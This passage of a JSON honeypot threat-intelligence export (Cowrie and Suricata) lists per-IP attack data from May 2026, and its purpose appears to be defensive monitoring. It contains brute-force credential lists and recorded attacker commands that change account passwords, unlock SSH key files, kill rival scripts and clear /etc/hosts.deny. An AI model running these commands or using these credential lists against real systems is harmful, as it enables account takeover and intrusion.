        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Bellevue",
      "asn": 7922,
      "as_org": "Comcast Cable Communications, LLC",
      "threat_score": 27.6,
      "threat_level": "low",
      "score_components": {
        "frequency": 24.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.73
      },
      "reputation_metrics": {
        "total_events_30d": 302,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-23T12:33:53.839000+00:00",
        "last_seen_30d": "2026-05-23T13:20:27.294000+00:00",
        "days_since_last_seen": 8
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 259,
        "Suricata": 43
      }
    },
    "221.156.126.1": {
      "attack_count": 233,
      "first_seen": "2026-05-25T18:30:42.467Z",
      "last_seen": "2026-05-25T19:43:08.941Z",
      "sessions": 23,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "curl",
        "eugene",
        "ubuntu",
        "abi",
        "cloud",
        "frappe-user",
        "q",
        "roo",
        "user2",
        "username"
      ],
      "passwords_attempted": [
        "123456",
        "3245gs5662d34",
        "345gs5662d34",
        "123456b",
        "Dell123",
        "Q!W@E#r4t5y6",
        "Ss123456.",
        "Wangsu@2017",
        "Zc@123456",
        "abc123",
        "abi",
        "asd123",
        "eugene",
        "fjbdfdjkdsfs541544@@",
        "fjbdfdjkdsfs541544AA@@",
        "password123",
        "q",
        "redhat",
        "root.1234",
        "welltech12"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"eugene\\ntdhYaBgHdg1P\\ntdhYaBgHdg1P\\n\"|passwd",
        "echo \"welltech12\\n5xEMvr1S0DAd\\n5xEMvr1S0DAd\\n\"|passwd",
        "echo -e \"eugene\\ntdhYaBgHdg1P\\ntdhYaBgHdg1P\"|passwd|bash",
        "echo -e \"welltech12\\n5xEMvr1S0DAd\\n5xEMvr1S0DAd\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "South Korea",
      "country_code": "KR",
      "city": "Yeosu",
      "asn": 4766,
      "as_org": "Korea Telecom",
      "threat_score": 30.0,
      "threat_level": "low",
      "score_components": {
        "frequency": 24.6,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.8
      },
      "reputation_metrics": {
        "total_events_30d": 289,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-25T18:30:42.467000+00:00",
        "last_seen_30d": "2026-05-25T19:44:09.563000+00:00",
        "days_since_last_seen": 6
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 233,
        "Suricata": 56
      }
    },
    "172.208.48.177": {
      "attack_count": 219,
      "first_seen": "2026-05-06T20:09:33.069Z",
      "last_seen": "2026-05-06T20:56:20.261Z",
      "sessions": 32,
      "ports": [],
      "usernames_attempted": [
        "root",
        "test",
        "ubuntu",
        "345gs5662d34",
        "admin",
        "ftpuser",
        "postgres",
        "teamspeak",
        "test1"
      ],
      "passwords_attempted": [
        "010203",
        "112358",
        "123456@qwe",
        "123456Aa",
        "123456qq@",
        "12345trewq",
        "1989",
        "1@qwaszx",
        "1qaz1qaz!QAZ",
        "3245gs5662d34",
        "345gs5662d34",
        "Password",
        "Qazwsx123",
        "ROOT@123",
        "Server123",
        "User2025",
        "Zy123456.",
        "abcd1234!@#$",
        "admin",
        "bismillah"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"password01\\ntpIusuG5DlGB\\ntpIusuG5DlGB\\n\"|passwd",
        "echo -e \"password01\\ntpIusuG5DlGB\\ntpIusuG5DlGB\"|passwd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Washington",
      "asn": 8075,
      "as_org": "Microsoft Corporation",
      "threat_score": 6.2,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 24.6,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.17
      },
      "reputation_metrics": {
        "total_events_30d": 289,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-06T20:09:33.069000+00:00",
        "last_seen_30d": "2026-05-06T20:57:29.815000+00:00",
        "days_since_last_seen": 25
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 219,
        "Suricata": 70
      }
    },
    "185.239.84.249": {
      "attack_count": 212,
      "first_seen": "2026-05-23T18:15:39.191Z",
      "last_seen": "2026-05-23T19:05:26.002Z",
      "sessions": 19,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "hqadmin",
        "depot",
        "dima",
        "newuser",
        "steam",
        "teamspeak",
        "testuser",
        "user1"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "11111111",
        "123!@#qweQWE",
        "123123123",
        "123asdQWE",
        "90-=op[]",
        "Asd@1234",
        "abc123==",
        "depot",
        "dima1234",
        "hqadmin",
        "kk112233",
        "newuser",
        "qwe123",
        "qwe123456!",
        "qwerty123123"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "echo \"hqadmin\\nbkd705ggjj13\\nbkd705ggjj13\\n\"|passwd",
        "echo \"root:AteFjeL7tl12\"|chpasswd|bash",
        "echo -e \"hqadmin\\nbkd705ggjj13\\nbkd705ggjj13\"|passwd|bash",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.session.file_download"
      ],
      "country": "Hong Kong",
      "country_code": "HK",
      "city": null,
      "asn": 55933,
      "as_org": "Cloudie Limited",
      "threat_score": 27.1,
      "threat_level": "low",
      "score_components": {
        "frequency": 24.1,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.73
      },
      "reputation_metrics": {
        "total_events_30d": 258,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-23T18:15:39.191000+00:00",
        "last_seen_30d": "2026-05-23T19:06:35.793000+00:00",
        "days_since_last_seen": 8
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 212,
        "Suricata": 46
      }
    },
    "222.86.102.212": {
      "attack_count": 190,
      "first_seen": "2026-05-20T18:23:23.228Z",
      "last_seen": "2026-05-21T06:23:04.791Z",
      "sessions": 95,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4134,
      "as_org": "Chinanet",
      "threat_score": 25.5,
      "threat_level": "low",
      "score_components": {
        "frequency": 24.6,
        "persistence": 1.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.67
      },
      "reputation_metrics": {
        "total_events_30d": 288,
        "days_active_30d": 2,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-20T18:23:23.228000+00:00",
        "last_seen_30d": "2026-05-21T06:24:07.803000+00:00",
        "days_since_last_seen": 10
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 190,
        "Suricata": 98
      }
    },
    "51.15.192.198": {
      "attack_count": 150,
      "first_seen": "2026-05-14T12:30:58.010Z",
      "last_seen": "2026-05-14T12:32:24.868Z",
      "sessions": 30,
      "ports": [],
      "usernames_attempted": [
        "root",
        "admin",
        "chinxmr",
        "dev",
        "dillof",
        "git",
        "mc",
        "oracle",
        "pilinux",
        "postgres",
        "server",
        "system",
        "test",
        "testuser",
        "ubnt",
        "ubuntu",
        "user",
        "zabbix"
      ],
      "passwords_attempted": [
        "123456",
        "admin",
        "password",
        "1234567890",
        "1qaz@wsx",
        "chi1234567890",
        "dev",
        "dillofsha256s",
        "git",
        "mc",
        "oracle",
        "pilinux123",
        "postgres",
        "redhat",
        "root",
        "server",
        "system",
        "test",
        "testuser",
        "toor"
      ],
      "commands_executed": [
        "uname -a ; echo 'vT'"
      ],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.params"
      ],
      "country": "France",
      "country_code": "FR",
      "city": "Paris",
      "asn": 12876,
      "as_org": "Scaleway SAS",
      "threat_score": 15.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 23.3,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.43
      },
      "reputation_metrics": {
        "total_events_30d": 212,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-14T12:30:58.010000+00:00",
        "last_seen_30d": "2026-05-14T12:33:28.806000+00:00",
        "days_since_last_seen": 17
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 150,
        "Suricata": 62
      }
    },
    "84.247.181.8": {
      "attack_count": 144,
      "first_seen": "2026-05-29T07:18:35.208Z",
      "last_seen": "2026-05-29T07:46:42.988Z",
      "sessions": 17,
      "ports": [],
      "usernames_attempted": [
        "admin",
        "root",
        "steam",
        "345gs5662d34",
        "flussonic",
        "ftpuser",
        "michael",
        "odoo17",
        "sammy",
        "test1",
        "unturned"
      ],
      "passwords_attempted": [
        "00001111",
        "112233",
        "12345",
        "12345678",
        "123456a",
        "123QWEasd!@#",
        "3245gs5662d34",
        "345gs5662d34",
        "abcd",
        "admin123!@#",
        "fjbdfdjkdsfs541544",
        "flussonic",
        "michael2025",
        "odoo17@2025",
        "qwerty123",
        "steampass",
        "unturned"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"123456a\\nz4LtDO6LzoTB\\nz4LtDO6LzoTB\\n\"|passwd",
        "echo -e \"123456a\\nz4LtDO6LzoTB\\nz4LtDO6LzoTB\"|passwd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "France",
      "country_code": "FR",
      "city": "Lauterbourg",
      "asn": 51167,
      "as_org": "Contabo GmbH",
      "threat_score": 33.1,
      "threat_level": "low",
      "score_components": {
        "frequency": 22.6,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.93
      },
      "reputation_metrics": {
        "total_events_30d": 184,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-29T07:18:35.208000+00:00",
        "last_seen_30d": "2026-05-29T07:47:51.311000+00:00",
        "days_since_last_seen": 2
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 144,
        "Suricata": 40
      }
    },
    "132.145.213.106": {
      "attack_count": 142,
      "first_seen": "2026-05-31T21:18:13.441Z",
      "last_seen": "2026-05-31T21:38:48.688Z",
      "sessions": 17,
      "ports": [],
      "usernames_attempted": [
        "root",
        "client",
        "345gs5662d34",
        "admin",
        "ftpuser",
        "kkadmin",
        "pacs",
        "serv",
        "ts3server",
        "ubuntu",
        "user15",
        "william"
      ],
      "passwords_attempted": [
        "1",
        "123",
        "1234",
        "1234qwerty",
        "3245gs5662d34",
        "345gs5662d34",
        "@Passw0rd",
        "Killer123",
        "Password2025",
        "adminadmin",
        "client",
        "kkadmin",
        "pacs",
        "ts3server",
        "user15"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"client\\nvmScGYbfNuQ8\\nvmScGYbfNuQ8\\n\"|passwd",
        "echo -e \"client\\nvmScGYbfNuQ8\\nvmScGYbfNuQ8\"|passwd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Ashburn",
      "asn": 31898,
      "as_org": "Oracle Corporation",
      "threat_score": 35.4,
      "threat_level": "low",
      "score_components": {
        "frequency": 22.6,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 181,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-31T21:18:13.441000+00:00",
        "last_seen_30d": "2026-05-31T21:39:58.702000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 142,
        "Suricata": 39
      }
    },
    "209.90.232.26": {
      "attack_count": 126,
      "first_seen": "2026-05-08T02:19:45.272Z",
      "last_seen": "2026-05-31T10:52:20.271Z",
      "sessions": 21,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.fingerprint",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.success",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Tukwila",
      "asn": 23033,
      "as_org": "Wowrack.com",
      "threat_score": 53.7,
      "threat_level": "medium",
      "score_components": {
        "frequency": 21.7,
        "persistence": 20.0,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 147,
        "days_active_30d": 24,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-08T02:19:45.272000+00:00",
        "last_seen_30d": "2026-05-31T10:53:24.833000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 84,
        "Suricata": 63
      }
    },
    "89.38.96.216": {
      "attack_count": 126,
      "first_seen": "2026-05-03T19:07:52.983Z",
      "last_seen": "2026-05-31T04:42:38.737Z",
      "sessions": 21,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.fingerprint",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.success",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "The Netherlands",
      "country_code": "NL",
      "city": "Naaldwijk",
      "asn": 49981,
      "as_org": "WorldStream B.V.",
      "threat_score": 57.8,
      "threat_level": "medium",
      "score_components": {
        "frequency": 21.7,
        "persistence": 24.2,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 147,
        "days_active_30d": 29,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-03T19:07:52.983000+00:00",
        "last_seen_30d": "2026-05-31T04:43:41.420000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 84,
        "Suricata": 63
      }
    },
    "74.48.105.66": {
      "attack_count": 102,
      "first_seen": "2026-05-05T00:55:15.319Z",
      "last_seen": "2026-05-31T23:04:38.243Z",
      "sessions": 17,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.fingerprint",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.success",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Los Angeles",
      "asn": 35916,
      "as_org": "MULTACOM CORPORATION",
      "threat_score": 55.3,
      "threat_level": "medium",
      "score_components": {
        "frequency": 20.8,
        "persistence": 22.5,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 119,
        "days_active_30d": 27,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-05T00:55:15.319000+00:00",
        "last_seen_30d": "2026-05-31T23:05:41.606000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 68,
        "Suricata": 51
      }
    },
    "34.38.42.41": {
      "attack_count": 72,
      "first_seen": "2026-05-04T04:18:09.954Z",
      "last_seen": "2026-05-04T04:19:05.993Z",
      "sessions": 32,
      "ports": [],
      "usernames_attempted": [
        "*1",
        "GET / HTTP/1.1",
        "OPTIONS rtsp://example.com RTSP/1.0",
        "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36"
      ],
      "passwords_attempted": [
        "$4",
        "Accept-Encoding: gzip",
        "Cseq: 2659",
        "Host: 172.105.186.117:23"
      ],
      "commands_executed": [
        "PING"
      ],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.params"
      ],
      "country": "Belgium",
      "country_code": "BE",
      "city": "Brussels",
      "asn": 396982,
      "as_org": "Google LLC",
      "threat_score": 3.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 20.5,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 113,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-04T04:18:09.954000+00:00",
        "last_seen_30d": "2026-05-04T04:20:15.705000+00:00",
        "days_since_last_seen": 27
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 72,
        "Suricata": 41
      }
    },
    "34.62.20.187": {
      "attack_count": 71,
      "first_seen": "2026-05-05T17:27:35.326Z",
      "last_seen": "2026-05-05T17:28:26.366Z",
      "sessions": 32,
      "ports": [],
      "usernames_attempted": [
        "*1",
        "GET / HTTP/1.1",
        "OPTIONS rtsp://example.com RTSP/1.0",
        "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36"
      ],
      "passwords_attempted": [
        "$4",
        "Accept-Encoding: gzip",
        "Cseq: 8058",
        "Host: 172.105.186.117:23"
      ],
      "commands_executed": [
        ""
      ],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.params"
      ],
      "country": "Belgium",
      "country_code": "BE",
      "city": "Brussels",
      "asn": 396982,
      "as_org": "Google LLC",
      "threat_score": 4.4,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 20.5,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.13
      },
      "reputation_metrics": {
        "total_events_30d": 112,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-05T17:27:35.326000+00:00",
        "last_seen_30d": "2026-05-05T17:29:36.481000+00:00",
        "days_since_last_seen": 26
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 71,
        "Suricata": 41
      }
    },
    "117.253.162.238": {
      "attack_count": 70,
      "first_seen": "2026-05-19T13:04:03.093Z",
      "last_seen": "2026-05-19T17:38:56.778Z",
      "sessions": 35,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "India",
      "country_code": "IN",
      "city": "Safidon",
      "asn": 9829,
      "as_org": "National Internet Backbone",
      "threat_score": 19.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 20.2,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.6
      },
      "reputation_metrics": {
        "total_events_30d": 105,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-19T13:04:03.093000+00:00",
        "last_seen_30d": "2026-05-19T17:39:57.151000+00:00",
        "days_since_last_seen": 12
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 70,
        "Suricata": 35
      }
    },
    "223.123.124.126": {
      "attack_count": 50,
      "first_seen": "2026-05-14T02:36:48.172Z",
      "last_seen": "2026-05-14T02:42:12.676Z",
      "sessions": 25,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Pakistan",
      "country_code": "PK",
      "city": "Islamabad",
      "asn": 138423,
      "as_org": "CMPak Limited",
      "threat_score": 26.9,
      "threat_level": "low",
      "score_components": {
        "frequency": 18.9,
        "persistence": 7.5,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.7
      },
      "reputation_metrics": {
        "total_events_30d": 77,
        "days_active_30d": 9,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-14T02:36:48.172000+00:00",
        "last_seen_30d": "2026-05-22T20:00:54.653000+00:00",
        "days_since_last_seen": 9
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 50,
        "Suricata": 27
      }
    },
    "182.46.110.207": {
      "attack_count": 38,
      "first_seen": "2026-05-19T04:21:07.211Z",
      "last_seen": "2026-05-19T06:00:58.785Z",
      "sessions": 19,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4134,
      "as_org": "Chinanet",
      "threat_score": 18.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 17.6,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.6
      },
      "reputation_metrics": {
        "total_events_30d": 58,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-19T04:21:07.211000+00:00",
        "last_seen_30d": "2026-05-19T06:02:04.922000+00:00",
        "days_since_last_seen": 12
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 38,
        "Suricata": 20
      }
    },
    "2.193.83.97": {
      "attack_count": 32,
      "first_seen": "2026-05-23T08:32:13.795Z",
      "last_seen": "2026-05-23T12:51:10.256Z",
      "sessions": 16,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Italy",
      "country_code": "IT",
      "city": null,
      "asn": 16232,
      "as_org": "TIM",
      "threat_score": 23.4,
      "threat_level": "low",
      "score_components": {
        "frequency": 19.1,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.73
      },
      "reputation_metrics": {
        "total_events_30d": 81,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-23T08:28:13.626000+00:00",
        "last_seen_30d": "2026-05-23T13:47:57.596000+00:00",
        "days_since_last_seen": 8
      },
      "honeypot_breakdown_30d": {
        "Suricata": 49,
        "Cowrie": 32
      }
    },
    "189.165.70.195": {
      "attack_count": 23,
      "first_seen": "2026-05-24T18:54:41.435Z",
      "last_seen": "2026-05-24T18:54:47.383Z",
      "sessions": 3,
      "ports": [],
      "usernames_attempted": [
        "intel",
        "345gs5662d34"
      ],
      "passwords_attempted": [
        "123",
        "3245gs5662d34",
        "345gs5662d34"
      ],
      "commands_executed": [
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "lockr -ia .ssh"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.success",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.command.failed",
        "cowrie.session.file_download"
      ],
      "country": "Mexico",
      "country_code": "MX",
      "city": "Puebla City",
      "asn": 8151,
      "as_org": "UNINET",
      "threat_score": 21.2,
      "threat_level": "low",
      "score_components": {
        "frequency": 14.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.77
      },
      "reputation_metrics": {
        "total_events_30d": 30,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-24T18:54:41.435000+00:00",
        "last_seen_30d": "2026-05-24T18:55:54.969000+00:00",
        "days_since_last_seen": 7
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 23,
        "Suricata": 7
      }
    },
    "68.183.71.68": {
      "attack_count": 23,
      "first_seen": "2026-05-27T04:27:47.850Z",
      "last_seen": "2026-05-27T04:27:49.467Z",
      "sessions": 4,
      "ports": [],
      "usernames_attempted": [
        "GET /cgi-bin/authLogin.cgi HTTP/1.1",
        "User-Agent: Go-http-client/1.1"
      ],
      "passwords_attempted": [
        "Connection: close",
        "Host: 172.105.186.117:23"
      ],
      "commands_executed": [
        ""
      ],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.login.failed",
        "cowrie.login.success",
        "cowrie.session.params"
      ],
      "country": "Germany",
      "country_code": "DE",
